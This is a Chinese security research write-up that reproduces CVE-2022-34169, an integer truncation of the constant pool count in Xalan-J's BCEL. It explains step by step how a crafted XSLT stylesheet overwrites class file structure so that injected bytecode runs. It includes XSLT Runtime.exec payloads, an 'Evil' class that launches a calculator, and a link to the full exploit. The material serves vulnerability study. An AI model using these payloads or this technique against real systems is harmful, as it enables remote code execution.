作者:thanat0s@360高級攻防實驗室
原文鏈接:http://noahblog.#/xalan-j-integer-truncation-reproduce-cve-2022-34169/

0x00 前言

這是第一次遇到與 Java Class 字節碼相關的漏洞(CVE-2022-34169),由于漏洞作者提供的利用腳本未能執行成功,所以根據漏洞描述結合自己的理解嘗試進行利用構造,在深入分析并成功構造出 Payload 的過程中,也是加深了對 Java 字節碼的了解,雖然漏洞作者在利用腳本中提供了一些注釋信息,但對于完整理解整個利用的構造過程是不夠的,因此這里對 Payload 構造過程進行一個詳細的記錄。

0x01 漏洞概述

XSLT(Extensible Stylesheet Language Transformations) 是一種可以將 XML 文檔轉換為其他格式(如 HTML)的標記語言

Xalan-J 是 Apache 開源項目下的一個 XSLT 處理器的 Java 版本實現

首先看到漏洞作者提供的漏洞描述:

Xalan-J uses a JIT compiler called XSLTC for translating XSLT stylesheets into Java classes during runtime. XSLTC depends on the Apache Byte Code Engineering (BCEL) library to dynamically create Java class files

As part of the compilation process, constants in the XSLT input such as Strings or Numbers get translated into Java constants which are stored at the beginning of the output class file in a structure called the constant pool

Small integers that fit into a byte or short are stored inline in bytecode using the bipush or sipush instructions. Larger ones are added to the constant pool using the cp.addInteger method

// org.apache.bcel.generic.PUSH#PUSH(org.apache.bcel.generic.ConstantPoolGen, int)
public PUSH(final ConstantPoolGen cp, final int value) {
    if ((value >= -1) && (value <= 5)) {
        instruction = InstructionConst.getInstruction(Const.ICONST_0 + value);
    } else if (Instruction.isValidByte(value)) {
        instruction = new BIPUSH((byte) value);
    } else if (Instruction.isValidShort(value)) {
        instruction = new SIPUSH((short) value);
    } else {
        instruction = new LDC(cp.addInteger(value));
    }
}

As java class files only use 2 bytes to specify the size of the constant pool, its max size is limited to 2**16 - 1 entries

BCELs internal constant pool representation uses a standard Java Array for storing constants and does not enforce any limits on its length. When the generated class file is serialized at the end of the compilation process the array length is truncated to a short, but the complete array is written out:

// org.apache.bcel.classfile.ConstantPool#dump
public void dump( final DataOutputStream file ) throws IOException {
    file.writeShort(constant_pool.length); // 對 constant_pool.length 進行了 short 截斷
    for (int i = 1; i < constant_pool.length; i++) { // 依舊寫入了 constant_pool.length 個數的常量
        if (constant_pool[i] != null) {
            constant_pool[i].dump(file);
        }
    }
}

根據提供的描述信息可以知道,Xalan-Java 即時編譯器(JIT) 會將傳入的 XSLT 樣式表使用 BCEL 動態生成 Java Class 字節碼文件(Class 文件結構如下),XSLT 樣式表中的 字符串(String) 以及 > 32767 的數值將存入到字節碼的 常量池表(constant_pool) 中,漏洞產生的原因在于 Class 字節碼規范中限制了常量池計數器大小(constant_pool_count) 為 u2 類型(2個無符號字節大小),所以 BCEL 在寫入 > 0xffff 數量的常量時需要進行截斷處理,但是通過上面 dump() 方法中的代碼可以看到,BCEL 雖然對 constant_pool_count 數值進行了處理,但實際依舊寫入了 > 0xffff 數量的常量,因此大于 constant_pool_count 部分的常量最終將覆蓋 access_flags 及后續部分的內容

ClassFile {
    u4             magic;                                // 魔術,識別 Class 格式 
    u2             minor_version;                        // 副版本號(小版本)
    u2             major_version;                        // 主版本號(大版本)
    u2             constant_pool_count;                  // 常量池計數器:用于記錄常量池大小
    cp_info        constant_pool[constant_pool_count-1]; // 常量池表:0 位保留,從 1 開始寫,所以實際常量數比 constant_pool_count 小 1
    u2             access_flags;                         // 類訪問標識
    u2             this_class;                           // 類索引
    u2             super_class;                          // 父類索引
    u2             interfaces_count;                     // 接口計數器
    u2             interfaces[interfaces_count];         // 接口索引集合
    u2             fields_count;                         // 字段表計數器
    field_info     fields[fields_count];                 // 字段表
    u2             methods_count;                        // 方法表計數器
    method_info    methods[methods_count];               // 方法表
    u2             attributes_count;                     // 屬性計數器
    attribute_info attributes[attributes_count];         // 屬性表
}

0x02 環境搭建

  • JDK測試版本: 1.8.0_301、11.0.9

根據作者的描述,使用的是 Xalan-J 2.7.2 版本,并通過如下命令生成 .class 文件

// https://xml.apache.org/xalan-j/commandline.html
java -jar /usr/share/java/xalan2.jar -XSLTC -IN test.xml -XSL count.xsl -SECURE  -XX -XT

-XSLTC (use XSLTC for transformation)
-IN inputXMLURL
-XSL XSLTransformationURL
-SECURE (set the secure processing feature to true)
-XX (turn on additional debugging message output)
-XT (use translet to transform if possible)

為了方便調試,替換為相應的 Java 代碼,新建 Maven 項目,添加如下依賴及代碼:

  • pom.xml
<!-- https://mvnrepository.com/artifact/xalan/xalan -->
<dependency>
  <groupId>xalan</groupId>
  <artifactId>xalan</artifactId>
  <version>2.7.2</version>
</dependency>
  • org/example/TestMain.java
package org.example;

import org.apache.xalan.xslt.Process;

public class TestMain {
    public static void main(String[] args) throws Exception {
        String xsltTemplate = "/tmp/xalan_test/select.xslt";
        Process.main(new String[]{"-XSLTC", "-IN", "/tmp/xalan_test/source.xml", "-XSL", xsltTemplate, "-SECURE", "-XX", "-XT"});
    }
}
  • /tmp/xalan_test/source.xml
<?xml version="1.0"?>
<doc>Hello</doc>
  • /tmp/xalan_test/select.xslt
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
</xsl:template>
</xsl:stylesheet>

運行 TestMain 后即可生成 select.class 文件,反編譯后得到如下 Java 代碼:

import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;

public class select extends AbstractTranslet {
    public DOM _dom;
    protected static String[] _sNamesArray = new String[0];
    protected static String[] _sUrisArray = new String[0];
    protected static int[] _sTypesArray = new int[0];
    protected static String[] _sNamespaceArray = new String[0];

    public void buildKeys(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) throws TransletException {
    }

    public void topLevel(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
        int var4 = var1.getIterator().next();
    }

    public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
        this._dom = this.makeDOMAdapter(var1);
        int var4 = var1.getIterator().next();
        this.transferOutputSettings(var3);
        this.topLevel(this._dom, var2, var3);
        var3.startDocument();
        this.applyTemplates(this._dom, var2, var3);
        var3.endDocument();
    }

    public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
    }

    public final void applyTemplates(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
        int var4;
        while((var4 = var2.next()) >= 0) {
            switch(var1.getExpandedTypeID(var4)) {
            case 0:
            case 1:
            case 9:
                this.applyTemplates(var1, var1.getChildren(var4), var3);
                break;
            case 2:
            case 3:
                var1.characters(var4, var3);
            case 4:
            case 5:
            case 6:
            case 7:
            case 8:
            case 10:
            case 11:
            case 12:
            case 13:
            }
        }

    }

    public select() {
        super.namesArray = _sNamesArray;
        super.urisArray = _sUrisArray;
        super.typesArray = _sTypesArray;
        super.namespaceArray = _sNamespaceArray;
        super.transletVersion = 101;
    }
}

0x03 XSLT 安全

XSLT 因為其功能的強大導致歷史中出過一些漏洞,如下兩種 Payload 在被 Java XSLT 處理器解析時就會存在代碼執行的問題:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
    <xsl:template match="/">
      <xsl:variable name="rtobject" select="rt:getRuntime()"/>
      <xsl:variable name="process" select="rt:exec($rtobject,'touch /tmp/pwn')"/>
      <xsl:variable name="processString" select="ob:toString($process)"/>
      <xsl:value-of select="$processString"/>
    </xsl:template>
</xsl:stylesheet>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
    <xsl:template match="/">
    <xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'touch /tmp/pwn')" xmlns:Runtime="java.lang.Runtime"/>
    </xsl:template>
</xsl:stylesheet>

所以首先嘗試使用上述 Payload 進行測試,發現相關的操作已經被限制了,這其中可能會存在一些繞過方式,但并不是本次所需要關心的,這次主要在意的是作者如何通過常量池覆蓋后續字節碼結構,實現的 RCE 操作

img

0x04 控制常量池計數器

常量池:用于存放編譯時期生成的各種 字面量符號引用,這部分內容將在類加載后進入方法區/元空間的 運行時常量池 中存放

常量池計數器:從 1 開始,也即 constant_pool_count=1 時表示常量池中有 0 個常量項,第 0 項常量用于表達 不引用任何一個常量池項目 的情況,常量池對于 Class 文件中的 字段方法 等解析至關重要

可以使用 Java 自帶的工具 javap 查看字節碼文件中的常量池內容:javap -v select.class

img

也可以使用 Classpy GUI 工具進行查看,該工具在點擊左側相應字段信息時會在右側定位出相應的十六進制范圍,在構造利用時提供了很大的幫助

但是這兩個工具無法對首部結構正確的畸形字節碼文件進行解析(只輸出正確結構的部分),并且未找到合適的解析工具

img

常量池表中具體存儲的數據結構如下,根據 tag 標識來決定后續字節碼所表達的含義:

img

img

img

嘗試在 select.xslt 文件中添加 `` 并生成 Class 文件:

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
</xsl:template>
</xsl:stylesheet>

通過反編譯后的 Java 代碼中可以看到新增了 AAA 字符串

public class select extends AbstractTranslet {
    ...
    public void template$dot$0(DOM var1, DTMAxisIterator var2, SerializationHandler var3, int var4) {
        var3.startElement("AAA");
        var3.endElement("AAA");
    }
    ...
}

對應到常量池中實際將增加 CONSTANT_String_infoCONSTANT_utf8_info 兩項,其中 #092(CONSTANT_utf8_info) 中存儲著字面量 AAA#093(CONSTANT_String_info)string_index 則指向 AAA 字面量所處的下標

img

img

為了節省空間,對于相同的常量在常量池中只會存儲一份,所以如下內容所生成的 Class 文件中的常量池計數器值依舊為 139

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
<AAA/>
<AAA/>
<AAA/>
<AAA/>
</xsl:template>
</xsl:stylesheet>

需要注意的是 AAAAA 實際屬于不同的常量,將得到的常量池計數器值為:139+2=141,因此:使用不同的字符串可以 字符串數量x2 的形式增加常量池計數器的值

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<AAA/>
<AA/>
</xsl:template>
</xsl:stylesheet>

img

img

然而在實際測試的過程中發現,通過如下方式增加常量,隨著 n 不斷的增加,所花費的時間也越來越大

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<t1/>
<t2/>
...
<tn/>
</xsl:template>
</xsl:stylesheet>

解決方法是使用 增加屬性 替代 增加元素 的方式增加常量池(每增加一對屬性,常量池+4)

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<t1 t2='t3' t4='t5' ... tn-1='tn'/>
</xsl:template>
</xsl:stylesheet>

原因在于每新增一個 元素(element) 都將有 translate() 方法調用的開銷,而新增 屬性 只是增加一個 Hashtable#put() 方法調用,因此將大大減少執行時間

  • org.apache.xalan.xsltc.compiler.SyntaxTreeNode#translateContents

img

  • org.apache.xalan.xsltc.compiler.LiteralElement#checkAttributesUnique

img

除了可以通過字符串的形式增加常量池,根據漏洞作者的提示可以通過 方法調用 的形式添加 數值類型 的常量(數值需要 > 32767 才會存儲至常量池表中),如通過調用 java.lang.Math#ceil(double) 方法傳入 double 數值類型,因為 double 屬于基本數據類型,因此只會增加一個 CONSTANT_Integer_info 數據結構,所以 每增加一個 double 數值,常量池+1

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<xsl:value-of select='ceiling(133801)'/>
<xsl:value-of select='ceiling(133802)'/>
<xsl:value-of select='ceiling(133803)'/>
</xsl:template>
</xsl:stylesheet>

img

0x05 Class 結構圖

這里先展示一下整個 Class 文件最終構造的結構圖,接下來將針對各個部分進行說明

0x06 利用構造說明

想詳細了解 Java Class 字節碼文件結構的可以參考鏈接:The Class File Format

通過字節碼結構可以看到,constant_pool_count & 0xffff 截斷后,大于 constant_pool_count 部分的常量池將覆蓋后續內容,從而可以完全控制整個類的結構

ClassFile {
    u4             magic;                                // 魔術,識別 Class 格式 
    u2             minor_version;                        // 副版本號(小版本)
    u2             major_version;                        // 主版本號(大版本)
    u2             constant_pool_count;                  // 常量池計數器:用于記錄常量池大小
    cp_info        constant_pool[constant_pool_count-1]; // 常量池表:0 位保留,從 1 開始寫,所以實際常量數比 constant_pool_count 小 1
    u2             access_flags;                         // 類訪問標識
    u2             this_class;                           // 類索引
    u2             super_class;                          // 父類索引
    u2             interfaces_count;                     // 接口計數器
    u2             interfaces[interfaces_count];         // 接口索引集合
    u2             fields_count;                         // 字段表計數器
    field_info     fields[fields_count];                 // 字段表
    u2             methods_count;                        // 方法表計數器
    method_info    methods[methods_count];               // 方法表
    u2             attributes_count;                     // 屬性計數器
    attribute_info attributes[attributes_count];         // 屬性表
}
cp_info {
    u1 tag;
    u1 info[];
}

access_flags & this_class

首先需要能夠理解的是 access_flags 第一個字節對應常量池的 tag,而 tag 值將決定后續的數據結構(查閱前面常量池結構表)

img

access_flags 的值決定了類的訪問標識,如是否為 public ,是否為 抽象類 等等,如下為各個標識對應的 mask 值,當 與操作值 != 0 時則會增加相應的修飾符

img

在決定 access_flag 第一個字節的值(后續使用x1,x2..代替)之前,需要知道編譯后的字節碼會被進行怎樣的處理,可以看到最終將得到 TemplatesImpl 對象,其中 _bytecodes 即為 XSLT 樣式表編譯后的字節碼內容,熟悉 Java 反序列化漏洞的應該對 TemplatesImpl 類不陌生,之后 newTransformer() 方法調用將會觸發 defineClass()newInstance() 方法的調用

  • org.apache.xalan.xslt.Process#main

img

img

img

由于 defineClass() 過程無法觸發類 static{} 方法塊中的代碼,所以需要借助 newInstance() 調用的過程來觸發 static{}{}構造函數 方法塊中的惡意代碼,因此 由于需要實例化類對象,所以類不能為接口、抽象類,并且需要被 public 修飾,所以 access_flags 需滿足如下條件:

  • access_flags.x1 & 任意修飾符 == 0
  • access_flags.x2 & ACC_PUBLIC(0x01) != 0

這里選擇設置 access_flags.x1 = 0x08,不選擇 access_flags.x1 = 0x01 的原因在于字面量 length 變化會影響到 bytes 的數量,所以一旦發生變動,后續內容就會需要跟著變動,不太好控制

img

access_flags.x2 的值這里將其設置為 0x07,而不使用 0x01 的原因在于,其值的設定會影響到常量池的大小,根據后續構造發現常量池大小需要滿足 > 0x0600(1536) 大小,這部分后續也會再進行說明

通過寫入 tag = 6double 數值常量(java.lang.Math#ceil(double)),可以實現連續控制 8 個字節內容,所以 this_class.x2 = 0x06,根據前面可知,this_class 是一個指向常量池的 常量池索引,所以為了使得 截斷后的常量池最小,所以這個值需要盡可能的小,由于 0x0006 已經占用了,所以最終確定值為 this_class = 0x0106(262)

img

在確認了 access_flags 的值后,接下來考慮的是如何進行設置,回看到如下這個圖,String 類型的 string_index 指向前一項 Utf8 字面量的下標,因此 tag = 8 string_index = 0x0701 則表示前一項是下標為 0x0701 = #1793Utf8 字面量,當前下標為 #1794,所以得出結論是 access_flags 之前應有 1794(包含第 0 項) 個常量,則 constant_pool_count 截斷后的值固定為 1794(0x0702)access_flags.x2 間接控制了常量池的大小

img

根據字節碼規范要求,this_class 應指向一個 CONSTANT_Class_info 結構的常量,也即如下圖中 Class 對應的下標 #0006

The value of the this_class item must be a valid index into the constant_pool table. The constant_pool entry at that index must be a CONSTANT_Class_info structure (§4.4.1) representing the class or interface defined by this class file.

img

但是這里并不能選擇常量池已有的這些 Class常量,原因在于這些 Class常量 是 XSLT 解析的過程中會使用到的類,而字節碼最終會被 defineClass() 加載為 Class,將會導致類沖突問題

解決方法是通過如下方法調用的方式加載一些 XSLT 解析過程不會引用的類,因為類是懶加載的,只有在被使用到的時候才會被加載進 JVM,所以 defineClass() 調用時并不會存在 com.sun.org.apache.xalan.internal.lib.ExsltStrings,從而解決了類沖突的問題,之后通過在其之前填充一些常量,使得 this_class = 0x0106(#262) 剛好指向 (Class): com/sun/org/apache/xalan/internal/lib/ExsltStrings 即可

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
<!-- 填充: <t t1='t2'...> -->
<xsl:value-of select="es:tokenize(.)" xmlns:es="com.sun.org.apache.xalan.internal.lib.ExsltStrings"/>
</xsl:template>
</xsl:stylesheet>

img

super_class

super_class 同樣也需要指向 CONSTANT_Class_info 類型索引,并且因為 TemplatesImpl 的原因依舊需要繼承 org.apache.xalan.xsltc.runtime.AbstractTranslet 抽象類,所以直接指向 #0006 即可(位置固定不變)

For a class, the value of the super_class item either must be zero or must be a valid index into the constant_pool table. If the value of the super_class item is nonzero, the constant_pool entry at that index must be a CONSTANT_Class_info structure (§4.4.1) representing the direct superclass of the class defined by this class file.

img

img

因為主要目的是控制方法,并通過 newInstance() 觸發惡意代碼,所以對于 接口字段 都可以不需要,直接設置為 0 即可:

  • interfaces_count = 0x0000
  • fields_count = 0x0000

method_count

經測試發現 static{} 方法塊(<clinit>)執行必須要有合法的構造函數 <init> 存在,所以直接通過 <init> 觸發惡意代碼即可,除此之外還需要借助一個方法的 attribute 部分進行一些臟字符的吞噬(后續解釋),所以類中至少需要 2 個方法,經測試發現:在字節碼層面,非抽象類可以不實現抽象父類的抽象方法,所以可以不實現抽象父類 AbstractTranslettransform 方法,設置 method_count = 0x0002 即可

methods[0]

首先看到 method_info 結構:

method_info {
    u2             access_flags;                 # 方法的訪問標志
    u2             name_index;                   # 方法名索引
    u2             descriptor_index;             # 方法的描述符索引
    u2             attributes_count;             # 方法的屬性計數器
    attribute_info attributes[attributes_count]; # 方法的屬性集合
}

根據前面的構造可以看到 methods[0].access_flags.x1 = 0x06,根據訪問標識表可知當前方法為 抽象(0x06 & 0x04 != 0) 方法,無法包含方法體,所以這也是至少需要存在兩個方法的原因,但同時也發現一個問題:在字節碼層面,抽象方法是可以存在于非抽象類中的

  • methods[0].access_flags.x2 = 0x01:因為該方法不會被使用,所以直接給個 ACC_PUBLIC 屬性即可

img

img

  • methods[0].name_index(Utf8):選擇指向了父類抽象方法名 transferOutputSettings,實際指向任何合法 Utf8 常量均可
  • methods[0].descriptor_index(Utf8):選擇指向了 transferOutputSettings 方法描述符,實際指向任何合法 Utf8 方法描述符均可

img

methods[0].attributes_count 表示當前方法體中 attribute 的數量,每個 attribute 都有著如下通用格式,根據 attribute_name_index 來決定使用的是哪種屬性格式(如下表)

attribute_info {
    u2 attribute_name_index;     # 屬性名索引
    u4 attribute_length;         # 屬性個數
    u1 info[attribute_length];   # 屬性集合
}

img

這里主要關注 Code 屬性,其中存儲著方法塊中的字節碼指令

Code_attribute {
    u2 attribute_name_index;                     # 屬性名索引
    u4 attribute_length;                         # 屬性長度
    u2 max_stack;                                # 操作數棧深度的最大值
    u2 max_locals;                               # 局部變量表所需的存儲空間
    u4 code_length;                              # 字節碼指令的長度
    u1 code[code_length];                        # 存儲字節碼指令
    u2 exception_table_length;                   # 異常表長度
    {   u2 start_pc;
        u2 end_pc;
        u2 handler_pc;
        u2 catch_type;
    } exception_table[exception_table_length];   # 異常表
    u2 attributes_count;                         # 屬性集合計數器
    attribute_info attributes[attributes_count]; # 屬性集合
}

以如下代碼為例查看相應的 Code 屬性結構

package org.example;

public class TestMain {
    public TestMain(){
        try{
            System.out.println("test");
        }catch (Exception e){
        }
    }
}

可以看到構造函數 <init>attributes_count = 1 說明只包含一個屬性,attribute_nam_index 指向常量池 #10(Utf8) Code,表示當前為 Code 屬性,code_length 表示字節碼指令長度為 17code 部分則存儲了具體的字節碼指令

img

img

這里需要注意的是:如果 attribute_name_index 沒有指向合法的屬性名,將使用通用格式來進行數據解析,因此可以利用這個特性來吞噬 下一個 double 常量的 tag 標識,因此這里設定

  • methods[0].attributes_count = 0x0001:只需一個屬性即可完成吞噬目的
  • attribute_name_index(Utf8) = 0x0206:前面已經將 0x0106 設置為了 Class 類型,所以這里盡量指向更低位的常量池,所以選擇使用 0x0206,同時需要注意的是 attribute_name_index 需指向合法的 Utf8 類型常量,所以還需要通過填充的方式確保指向的類型正確
  • attribute_length = 0x00000005:屬性值設定為 5 并使用 0xAABBCCDD 填充滿一個 double 常量,這樣可以剛好可以吞噬掉下一個 double 常量的 tag 標識,使得下一個 method[1].access_flags 可以直接通過 double 來進行控制

img

methods[1]

接下來看到第二個方法 methods[1],首部這 8 個字節就可直接通過一個 double 數值類型進行控制,這里將構造所需的構造函數方法 ``:

  • access_flags = 0x0001:需要給與 PUBLIC 屬性才能通過 newInstance() 實例化

  • name_index:需要指向 的 `Utf8` 常量池下標,這里通過 代碼提前添加 `` 常量,否則只有編譯到構造函數方法時才會添加該常量

  • descriptor_index:需指向 ()VUtf8 常量池下標

  • attributes_count = 0x0003:這里將使用 3 個attribute構造出合法的方法塊:
    attributes[0]:用于吞噬 double 常量的 tag
    attributes[1]:用于構造 Code 屬性塊
    attributes[2]:用于吞噬后續垃圾字符

img

methods[1].attributes[0]

可以看到 methods[1].attributes[0].attribute_name_index.x1 = 0x06,因為 attribute_name_index 是指向常量池的索引,所以需要常量池需要 > 1536(0x0600),這就是前面 access_flags.x2 >= 0x06 的原因

使用同樣的方式,通過控制 attributes[0].attribute_length 吞噬掉下一個 double 常量的 tag

img

這樣就可以完全控制 attributes[1].attribute_name_index,使其指向 Utf8 Code 常量,后續數據將以 Code_attribute 結構進行解析

img

  • attribute_lengthcode_length 都得在 code[] 部分內容確定后進行計算
  • max_stack = 0x00FF:操作數棧深度的最大值,數值計算,方法調用等都需要涉及,稍微設置大一些即可
  • max_locals = 0x0600:局部變量表所需的存儲空間,主要用于存放方法中的局部變量,因為不會涉及使用大量的局部變量,所以0x0600 完全夠用了
  • exception_table_length = 0x0000:異常表長度,經測試發現,在字節碼層面,java.lang.Runtime.exec() 方法調用實際可以不進行異常捕獲,所以這里也將其設置為 0
  • attributes_count = 0x0000Code 屬性中的內部屬性,用于存儲如 LineNumberTable 信息,因為不涉及所以將其設置為 0 即可

這里提前看到 methods[1].attributes[2].attribute_name_index 字段,因為 attributes[2] 的作用也是用于吞噬后續的垃圾字符,所以可以和 methods[0].attributes[0].attribute_name_index 一樣設置為 0x0206,所以 code 尾部需要有 3 個字節是位于 double 常量首部的

methods[1].code

接著看到最重要的字節碼指令構造部分,可以通過 List of Java bytecode instructions 獲取相關的 Opcode

并非需要每個字節挨個自行進行構造,可以直接編寫一個惡意方法,然后提取其中 code 字節碼指令部分即可,編寫如下代碼并獲取其字節碼指令:

package org.example;

import org.apache.xalan.xsltc.DOM;
import org.apache.xalan.xsltc.TransletException;
import org.apache.xalan.xsltc.runtime.AbstractTranslet;
import org.apache.xml.dtm.DTMAxisIterator;
import org.apache.xml.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public Evil() {
        try{
            Runtime runtime = Runtime.getRuntime();
            runtime.exec("open -a calculator");
        }catch (Exception e){
        }
    }

    @Override
    public void transform(DOM dom, SerializationHandler[] serializationHandlers) throws TransletException {
    }

    @Override
    public void transform(DOM dom, DTMAxisIterator dtmAxisIterator, SerializationHandler serializationHandler) throws TransletException {
    }
}

img

img

根據上面的字節碼指令即可構造出如下代碼結構,其中有幾點需要注意:

  • 空操作可以使用 nop(0x00) 指令
  • 對于 tag = 6 所對應的指令 iconst_6 需要配對使用 istore_1 指令
  • 不使用 istore_0 的原因在于,局部變量表 0 位置存儲著 this 變量引用
  • 使用 ldc_w 替換 ldc,可以擴大常量池加載的范圍
  • 因為可以不涉及異常表,所以 goto 指令可以去除
  • 根據前面的說明,末尾的 double 常量需要占用首部 3 個字節

img

對于 Methodref 方法引用類型,可以使用如下方法調用的方式進行添加

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'open -a calculator')" xmlns:Runtime="java.lang.Runtime"/>

但是這里唯一存在問題的是:如何添加 AbstractTranslet. 方法引用,這里需要看到 org.apache.xalan.xsltc.compiler.Stylesheet#translate() 方法,構造函數總是最后才進行編譯,添加的 AbstractTranslet. 方法引用總是位于常量池末尾,所以這將導致截斷后的常量池中很難包含 MethodRef: AbstractTranslet. 方法引用

img

img

然而構造函數 <init> 中必須要調用 super() 或 this() 方法,否則會產生如下錯誤:

img

通過郵件咨詢漏洞作者如何解決這個問題,漏洞作者給出了如下方案:

img

JVM 會檢查構造函數中 return 操作之前是否有調用 super() 方法,所以可以通過 return 前嵌入一個死循環即可解決這個問題

然而在看到郵件之前,找到了另一種解決方案,通過如下代碼可提前引入 AbstractTranslet. 方法引用:

<xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>

可通過如下代碼進行驗證,可以看到 AbstractTranslet. 方法引用已經處于一個比較低位的常量池位置

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template>
    <xsl:value-of select="at:new()" xmlns:at="org.apache.xalan.xsltc.runtime.AbstractTranslet"/>
   <!-- 填充大量常量 <t t1='t2' t3='t4'... /> -->
</xsl:template>
</xsl:stylesheet>

img

但是對于 org.apache.xalan.xsltc.runtime.AbstractTranslet 類來說,由于是 抽象類,按理說不能調用 new() 方法進行實例化操作,所以在獲取 AbstractTranslet. 方法引用這里卡了很久

但是從 org.apache.xalan.xsltc.compiler.FunctionCall#findConstructors() 中可以看到,通過 反射 的方式獲取了構造方法

img

并且直到添加方法引用之前(org.apache.xalan.xsltc.compiler.FunctionCall#translate) 都不會檢查 XSLT 樣式表中傳入的類 是否為 抽象類,因此通過這種方式解決了 AbstractTranslet. 方法引用加載的問題

img

img

methods[1].attributes[2]

同樣通過控制 attribute_length 長度吞噬掉剩余的垃圾字符,由于需要保留 ClassFile 尾部的 SourceFile 屬性,所以長度設置為:從 0x12345678 -> 保留尾部 10 個字節(attributes_count + attributes),至此完整的利用就構造好了

ClassFile {
    ...
    attribute_info attributes[attributes_count];         // 屬性表
}

img

0x07 CheckList

這里總結一下需要檢查的一些項:

  1. #262 (0x0106) 需要指向 Class 引用 com.sun.org.apache.xalan.internal.lib.ExsltStrings
  2. 確認 method[0].attribute_name_index 指向正確的 Utf8 引用
  3. 確認 access_flags 位于常量池 #1794
  4. 確認 常量池大小0x0702 (可以 Debug org.apache.bcel.classfile.ConstantPool#dump 方法)
  5. 確認各個所需常量是否指向正確的常量池位置
  6. 確認 methods[1].attributes[2].attribute_length 是否為:從 0x12345678 -> 保留末尾 10 個字節

0x06 - 完整利用

  • gist:https://gist.github.com/thanatoskira/07dd6124f7d8197b48bc9e2ce900937f
  • 注意事項:
    由于文件名也會添加至常量池,為避免影響對其他常量位置造成變動,長度需保證一致(6),select -> abcdef
    運行前最好刪除已生成的 *.class 文件(文件內容發生變動則不用)

img

參考鏈接


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1963/